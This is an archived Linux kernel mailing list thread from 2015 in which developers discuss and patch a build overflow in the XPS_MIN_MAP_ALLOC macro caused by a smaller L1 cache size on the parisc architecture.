 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
 <1445524549.2207.1.camel@HansenPartnership.com> <5628F868.3040105@bell.net>
 <5629404B.8090805@gmx.de>
 <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1445628340 12542 80.91.229.3 (23 Oct 2015 19:25:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 Oct 2015 19:25:40 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Eric Dumazet <eric.dumazet@gmail.com>
Original-X-From: netdev-owner@vger.kernel.org Fri Oct 23 21:25:32 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1Zphxr-0007l7-Og
	for linux-netdev-2@plane.gmane.org; Fri, 23 Oct 2015 21:25:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752234AbbJWTZS convert rfc822-to-quoted-printable (ORCPT
	<rfc822;linux-netdev-2@m.gmane.org>); Fri, 23 Oct 2015 15:25:18 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:49418 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751327AbbJWTZQ (ORCPT <rfc822;netdev@vger.kernel.org>);
	Fri, 23 Oct 2015 15:25:16 -0400
Original-Received: from [192.168.20.60] ([92.203.46.30]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LtJAR-1aVBk01eYN-012q8d; Fri, 23 Oct 2015 21:25:07
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
X-Provags-ID: V03:K0:TWOzHaGG1cbT1odJCw3OJkgT2/KlvgIbV1R5F6F+hlazE/ng8D4
 PlXhHz24nTTrU4rhLGtiIUtKeDUw7oiht8kedNW7ISteNk096DOhHro6+SzYTAaQcot0++o
 VaQHdr0FtIVRCbF87wjQEpgfKbctGhWNPvEQpgsShDYh4OF/PUYWmCDsGWtPHNYsx78BgI7
 1MNDRClu4AEBEGQlD1FHQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:AMG0/YJGtbM=:CANgvjGye1yCW1WqveewK8
 17AcEz0zA4kNYQhmuvQmSqOnSR8ImhDEnQIZZSrXk7AooIXWnu5YfARL6uEspJaL9Ugx0r4Hn
 TxRCab8cAuTGATr406tXyKZ//NBFivJhUc+8SK8HooZcw8bwe7A5Ti2gRhz/kv7wVPM34Qbqj
 EyWtgdW7RCDQOG/G3m7tQov9mR4CAREq6jHsijB0ykF1YUqrPmE2cRCmzQRceP+Tw9+PUKC47
 kXwyzsi1tQOVT21O384Cgudj5PBCb3S8mIwHW1kr+Ucp7+hPmX/ipkM63kjT9I5Fsogw8cINl
 DCrjER2zCdr0qoX2itj6miiyY2rDFknyD+kPrha6kBHBa6OzsAUFeslJlgHE1Y/N5HS2p5QQd
 DBOxKC1aVCfeVitr+uUPs5teLfHagHXcJG4IXYVM0ZSgOrNPuL1ZT3VAQ+z2k6jMsYFfA+P71
 DQqMPy/LN8uaiIwU+xm2cG8GRlxt9E6dpXMoH+3OWU/XGK2YNMH4IHEgmoEjG1VDz1PPz45rv
 /lHduSOKhlTUpNfNxFTs7VMlwQDBQMo5hTpxyApr5OdallxF2ZDJ88s5tbxpjbspmNHlMVKqY
 wiUhy/P9z2+MphjojeTKbiszPzBPGtJfeEqBTVZkTomZmhayIl0krO2WhD4OvljPJMhJFQF1Q
 QDA5F4nvgSoBr8xUwL9fbs/gnQXG20PKcoSUKjsyYPeKEZ96kt5qvNxqt6GelQYl7NGf66nn9
 9mxaVp8aBzzUy+Ma8t/BBBj0ad0gFUF0Q+pmMDQ4FUzc3QN4azqlX9IDbBpijehJZhJMThVS 
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:384408 gmane.linux.ports.parisc:26090
Archived-At: <http://permalink.gmane.org/gmane.linux.network/384408>

On 22.10.2015 23:50, Eric Dumazet wrote:
> On Thu, 2015-10-22 at 22:00 +0200, Helge Deller wrote:
>> Hi Tom & David,
>>
>> I've queued-up a patch for the parisc architecture which reduces L1_=
CACHE_BYTES from 32 to 16:
>>   https://patchwork.kernel.org/patch/7399291/
>>
>> But this change will break the kernel build like this:
>>
>> In file included from net/core/dev.c:92:0:
>> net/core/dev.c: In function =E2=80=98expand_xps_map=E2=80=99:
>> include/linux/netdevice.h:721:27: warning: overflow in implicit cons=
tant conversion [-Woverflow]
>>    #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_ma=
p)) \
>> net/core/dev.c:1972:18: note: in expansion of macro =E2=80=98XPS_MIN=
_MAP_ALLOC=E2=80=99
>>    int alloc_len =3D XPS_MIN_MAP_ALLOC;
>>
>> Do you see an easy way to fix this ?
>=20
>=20
> Using L2_CACHE_BYTES would be better, but it unfortunately does not
> exist.

Then, how about simply changing it to twice of L1_CACHE_BYTES ?

#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)=
) / sizeof(u16))

Helge

From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Dumazet <eric.dumazet@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Fri, 23 Oct 2015 13:03:08 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <1445630588.22974.187.camel@edumazet-glaptop2.roam.corp.google.com>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
	 <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
	 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
	 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
	 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
	 <1445524549.2207.1.camel@HansenPartnership.com> <5628F868.3040105@bell.net>
	 <5629404B.8090805@gmx.de>
	 <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
	 <562A8990.9000808@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1445630627 16275 80.91.229.3 (23 Oct 2015 20:03:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 Oct 2015 20:03:47 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 23 22:03:41 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZpiYh-0006zU-1u
	for glpp-linux-parisc@plane.gmane.org; Fri, 23 Oct 2015 22:03:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752018AbbJWUDN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Oct 2015 16:03:13 -0400
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]:33899 "EHLO
	mail-pa0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752150AbbJWUDK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Oct 2015 16:03:10 -0400
Original-Received: by padhk11 with SMTP id hk11so126685767pad.1;
        Fri, 23 Oct 2015 13:03:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:subject:from:to:cc:date:in-reply-to:references
         :content-type:mime-version:content-transfer-encoding;
        bh=wY473/4nLUhmA1YXtSrSiL2pvp/NUhGuDeUoZB8GLWs=;
        b=WqRCuCVbDwblay4elZhVkBJ1nuhk7wj0plpzYBU4J1jd0LWPwI6rmmQBBvud/e7J3/
         vafTVEzPA9J+Brug5JVEq3hnRt7r8mtKO9SiVJsiBuSKMqVLLoWqE6bwF660cqPwLTS6
         qyC+nvRoIzv1/E6FvVjG8wqMgz9SbUKU71StdLgWiDmAkj++oryHkGh4e/2UjCiIhI7P
         pgLWnSb8x9/MXI4wDbk+EuDlkUEv0IZgHUeRY6DIfZCrYQHK9ejErXYGlG8FZXhLgz60
         9sg+3PmC+KKfEqyXHn3PPHztYnC7fGR7op84DAsLeAuFFLwNn3vvtVNVuTi2NZcwXIzi
         YUrg==
X-Received: by 10.68.68.167 with SMTP id x7mr25746989pbt.140.1445630590188;
        Fri, 23 Oct 2015 13:03:10 -0700 (PDT)
Original-Received: from ?IPv6:2620:0:1000:3e02:58fe:54d3:a26b:4f7c? ([2620:0:1000:3e02:58fe:54d3:a26b:4f7c])
        by smtp.gmail.com with ESMTPSA id dn4sm20434730pbd.0.2015.10.23.13.03.08
        (version=TLSv1.2 cipher=AES128-GCM-SHA256 bits=128/128);
        Fri, 23 Oct 2015 13:03:09 -0700 (PDT)
In-Reply-To: <562A8990.9000808@gmx.de>
X-Mailer: Evolution 3.10.4-0ubuntu2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26091 gmane.linux.network:384415
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26091>

On Fri, 2015-10-23 at 21:25 +0200, Helge Deller wrote:

> Then, how about simply changing it to twice of L1_CACHE_BYTES ?
> 
> #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) / sizeof(u16))


Seems good to me.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Fri, 23 Oct 2015 23:08:10 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <20151023210810.GA1969@ls3530.box>
References: <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
 <1445524549.2207.1.camel@HansenPartnership.com>
 <5628F868.3040105@bell.net>
 <5629404B.8090805@gmx.de>
 <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
 <562A8990.9000808@gmx.de>
 <1445630588.22974.187.camel@edumazet-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1445634532 11455 80.91.229.3 (23 Oct 2015 21:08:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 Oct 2015 21:08:52 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
To: Eric Dumazet <eric.dumazet@gmail.com>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: netdev-owner@vger.kernel.org Fri Oct 23 23:08:44 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1ZpjZf-0004XJ-F7
	for linux-netdev-2@plane.gmane.org; Fri, 23 Oct 2015 23:08:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752708AbbJWVI0 (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Fri, 23 Oct 2015 17:08:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:49570 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752664AbbJWVIZ (ORCPT <rfc822;netdev@vger.kernel.org>);
	Fri, 23 Oct 2015 17:08:25 -0400
Original-Received: from ls3530.box ([92.203.46.30]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MEccf-1ZjOpb1tcn-00FiVg; Fri, 23 Oct 2015 23:08:14
 +0200
Content-Disposition: inline
In-Reply-To: <1445630588.22974.187.camel@edumazet-glaptop2.roam.corp.google.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:nMitfq+wXgJosSzy+0a5ahq5YZsORwvZ2VlowgSM7HMCyhSU1Hg
 rNG3t3ZohfQcjOQw6c7wU9Ko7Cl84EgRtRN5ZG+Gj5Rw6NUYimnP1jVNm5IwwH7CkC9zsYl
 2Lx+e2Tz9T5AraXywg/134fAT4x54hbFB2MNrFHZXYH1lKnBfe4esK6dPznES/QsGUXJOUC
 C2ufQ6xOfaSV6RaLPKSmw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:V6zMUb0oUkA=:aTOO3K88YsxUzRyUnF56hL
 PKp+mtb6nfBsJfGtkOPrK0XTWF6xZbTwssDMhmEa+PeNZrch1iQCxqoVbFOUq+5whNgGfzAK2
 OlIvkevTnk11T13DIm/UCqh/vPvFIIdQOZxcJA0QKeHyPMfQIqBGNPDEPDnkRs3q1aP8imeWx
 Ru3cggcIc2kenpbgb/URDQExQm+C912q0nBx1vsZ434sDBFCv70au9+3yKyUa1RN6tBUxBsTC
 au8e8BZrg6ShWQqnr+Ow3BUFKByOZNVUnoFGcim/NbGfoJE7WK0eO4jCO+K3TlKhzJjhJ7jb1
 7Eb+ORE52eccd3sm7xPI0tCKVUV2a8jBXFaHud7bEIUc0w3E90iRz2XopfVOjBry4TgPYk4jw
 8ZI8Te5xe9DulTvKPtHKBmfLrZLZyfxTT6kgia+xI/5uos44Xu9y8fCL1tjj/U/ri9wCl9c90
 bJdK/P3m/GoDZSof6ni9MqDV5lepnkyO/JgOoUgVa8A16uT8uTWDefsXZvJV5EfLGvIS9NGcr
 bRYhuIa8bDaBpbR9zF00/5R0YncPbNfI14gYYoaM3+AZYhCuCIrMAZQlmmIs6RcWjsW5pFj4y
 Urg2ULu6yGq0hMGalMjeGDEnlg6B5y7tcv0HfyYeuAD4w0juCFipEj+ib3qhxHEUsIcCVqaa6
 aawG93Xe3sAJQtvTQ9aDVItD9IL9h4N0SuuoD12v+dqVVKcJLnAlaxWwcF0mmSaUVpN7DaUxh
 4ClMExP/zGOzZSMMsUFlTnc+t+eH1fX/DmZfRrdS3ZbFa6f2sUnKnsDcujU=
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:384423 gmane.linux.ports.parisc:26092
Archived-At: <http://permalink.gmane.org/gmane.linux.network/384423>

* Eric Dumazet <eric.dumazet@gmail.com>:
> On Fri, 2015-10-23 at 21:25 +0200, Helge Deller wrote:
> 
> > Then, how about simply changing it to twice of L1_CACHE_BYTES ?
> > 
> > #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) / sizeof(u16))
> 
> 
> Seems good to me.

Great!

Can you then maybe give me an Acked-by or signed-off for the patch below?
It further adds a compile-time check to avoid that XPS_MIN_MAP_ALLOC
gets calculated to zero on any architecture - otherwise no queues would
be allocated. 

In addition I would like to push it for v4.3 then through my parisc-tree
(after keeping it in for-next for 1-2 days), together with the patch
which reduces L1_CACHE_BYTES to 16 on parisc.
Would that be OK too? 

Thanks!
Helge


[PATCH] net/xps: Increase initial number of xps queues

Increase the number of initial allocated xps queues, so that the initial record
allocates twice the size of L1_CACHE_BYTES bytes.

This change is needed to copy with architectures where L1_CACHE_BYTES is
defined to equal or less than 16 bytes.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
index 2d15e38..d152788 100644
--- a/include/linux/netdevice.h
+++ b/include/linux/netdevice.h
@@ -718,7 +718,7 @@ struct xps_map {
 	u16 queues[0];
 };
 #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeof(u16)))
-#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))	\
+#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) \
     / sizeof(u16))
 
 /*
diff --git a/net/core/dev.c b/net/core/dev.c
index 6bb6470..f6d6dd1 100644
--- a/net/core/dev.c
+++ b/net/core/dev.c
@@ -1972,6 +1972,8 @@ static struct xps_map *expand_xps_map(struct xps_map *map,
 	int alloc_len = XPS_MIN_MAP_ALLOC;
 	int i, pos;
 
+	BUILD_BUG_ON(XPS_MIN_MAP_ALLOC == 0);
+
 	for (pos = 0; map && pos < map->len; pos++) {
 		if (map->queues[pos] != index)
 			continue;


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Fri, 23 Oct 2015 23:09:42 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <562AA216.5030107@gmx.de>
References: <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
 <1445524549.2207.1.camel@HansenPartnership.com> <5628F868.3040105@bell.net>
 <5629404B.8090805@gmx.de>
 <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
 <562A8990.9000808@gmx.de>
 <1445630588.22974.187.camel@edumazet-glaptop2.roam.corp.google.com>
 <20151023210810.GA1969@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1445634602 12551 80.91.229.3 (23 Oct 2015 21:10:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 Oct 2015 21:10:02 +0000 (UTC)
Cc: Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
To: Eric Dumazet <eric.dumazet@gmail.com>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 23 23:09:53 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zpjay-0004wM-Tg
	for glpp-linux-parisc@plane.gmane.org; Fri, 23 Oct 2015 23:09:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751989AbbJWVJw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Oct 2015 17:09:52 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:64195 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750765AbbJWVJw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Oct 2015 17:09:52 -0400
Original-Received: from [192.168.20.60] ([92.203.46.30]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MMT1y-1ZsVoC0TF8-008GB2; Fri, 23 Oct 2015 23:09:46
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20151023210810.GA1969@ls3530.box>
X-Provags-ID: V03:K0:adpZU486AIJB+GEM/KcU0joSp5iVjcf5xSE2s6RWO0kOAVHDaHD
 eqIM670j2JRYDUB8IQRrh8YMBSoNfptSdfomdgqfwHLPS2uzxVfQL6yueZZFLwFTFALTXKd
 dVITg8iXSzSNZtqkym5dcRwXO5tEUWnLakjJk6xyYMBNqPJooTuZdnQJbKAV/FU9tFfRIpi
 ca8J9HjFPeHtJNikiitaw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:+GIdmCX2tco=:QCR0jJ3WFQvcvX+5sBpoeZ
 DUvgZDnp9A7hM8Gimj3iDbGbjE1k530UoZNpM9Fw1JYiq7iA0fSF2EPDP0tIXnRM0asWmdeMc
 f7Wm3f4BGUv6WWQZTXUc2WvVr7nL0Gko7NMjiD+KgbJI95Oc+Q7v8ADrccy2nsbTEiQxdnFM9
 fu9DIuK42TUEogONOxUPmezvpqL8pYjaNqcweWRXeQys4UI8CW1+WAeAdD8irweeYO0ANJTUO
 55+XunuDxi5uGw47XMsOiP56lNAVhQMRVNjQVKZo4mQ+L/xOFa/h7FCMaMuUhL1QPs8g0sSFE
 sLQFWDGA05Wkfu1uIdZoPjdeyr1R1KIo9khICBUkDox18uutyuk144ZqPGfTKTiaWWwbo8grv
 ja3RnEcCaJxl3boTqihjs+CFB4nrRm32+ui9NGSY7i66N9sJUfWgRfgJ/FL4UesFa5Ah93yXD
 7QtmJFICOcBCSI0xp/BWpZFztH9FN2I8oylYhKWWkYbIWiiiFbQiUkYP3T/Yyu9rqyIUMSSOW
 jW9I6M6YO3aImfeUVp6fGopkCsQlRG6dNGWl3FRXubpqXob+B72g3y2QukRqhEOUJq1gjDG7s
 TW+0MPrnLSUC3XaCFLKrK/dDKAYFLaK2Oe1422csI6WKZQuyC5ZPhi0wLh8VTYHDmFzTmAlER
 FV29XwXZe14hEZZ+G7cqb1C1yjEIcH/+8uiZ3mdA10Di9uSHYHsoOxuHTWcnPJUNqWXfarkeG
 g2Th1SQQEJbfcv7jAmObdTO7tm5FivUBuYDLxWWrDaURJwZxdkAeMYVwMe/K67qw+hziTH93 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26093 gmane.linux.network:384424
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26093>

On 23.10.2015 23:08, Helge Deller wrote:
> * Eric Dumazet <eric.dumazet@gmail.com>:
>> On Fri, 2015-10-23 at 21:25 +0200, Helge Deller wrote:
>>
>>> Then, how about simply changing it to twice of L1_CACHE_BYTES ?
>>>
>>> #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) / sizeof(u16))
>>
>>
>> Seems good to me.
> 
> Great!
> 
> Can you then maybe give me an Acked-by or signed-off for the patch below?
> It further adds a compile-time check to avoid that XPS_MIN_MAP_ALLOC
> gets calculated to zero on any architecture - otherwise no queues would
> be allocated. 
> 
> In addition I would like to push it for v4.3 then through my parisc-tree
> (after keeping it in for-next for 1-2 days), together with the patch
> which reduces L1_CACHE_BYTES to 16 on parisc.
> Would that be OK too? 
> 
> Thanks!
> Helge
> 
> 
> [PATCH] net/xps: Increase initial number of xps queues
> 
> Increase the number of initial allocated xps queues, so that the initial record
> allocates twice the size of L1_CACHE_BYTES bytes.
> 
> This change is needed to copy with architectures where L1_CACHE_BYTES is

s/copy/cope/g


> defined to equal or less than 16 bytes.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
> index 2d15e38..d152788 100644
> --- a/include/linux/netdevice.h
> +++ b/include/linux/netdevice.h
> @@ -718,7 +718,7 @@ struct xps_map {
>  	u16 queues[0];
>  };
>  #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeof(u16)))
> -#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))	\
> +#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) \
>      / sizeof(u16))
>  
>  /*
> diff --git a/net/core/dev.c b/net/core/dev.c
> index 6bb6470..f6d6dd1 100644
> --- a/net/core/dev.c
> +++ b/net/core/dev.c
> @@ -1972,6 +1972,8 @@ static struct xps_map *expand_xps_map(struct xps_map *map,
>  	int alloc_len = XPS_MIN_MAP_ALLOC;
>  	int i, pos;
>  
> +	BUILD_BUG_ON(XPS_MIN_MAP_ALLOC == 0);
> +
>  	for (pos = 0; map && pos < map->len; pos++) {
>  		if (map->queues[pos] != index)
>  			continue;
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Dumazet <eric.dumazet@gmail.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Fri, 23 Oct 2015 14:38:37 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <1445636317.22974.188.camel@edumazet-glaptop2.roam.corp.google.com>
References: <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
	 <B8E85737-5ECD-4CBE-8730-886B098C5FA4@bell.net>
	 <trinity-eda7d55d-7234-4b29-a15c-955f8ba0c95e-1445513884942@3capp-gmx-bs32>
	 <trinity-8980ad10-b889-45cf-8f37-a33ba9cf99ef-1445514797080@3capp-gmx-bs32>
	 <1445524549.2207.1.camel@HansenPartnership.com> <5628F868.3040105@bell.net>
	 <5629404B.8090805@gmx.de>
	 <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
	 <562A8990.9000808@gmx.de>
	 <1445630588.22974.187.camel@edumazet-glaptop2.roam.corp.google.com>
	 <20151023210810.GA1969@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1445636339 6140 80.91.229.3 (23 Oct 2015 21:38:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 23 Oct 2015 21:38:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: netdev-owner@vger.kernel.org Fri Oct 23 23:38:58 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1Zpk2u-0005bf-3X
	for linux-netdev-2@plane.gmane.org; Fri, 23 Oct 2015 23:38:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752525AbbJWVik (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
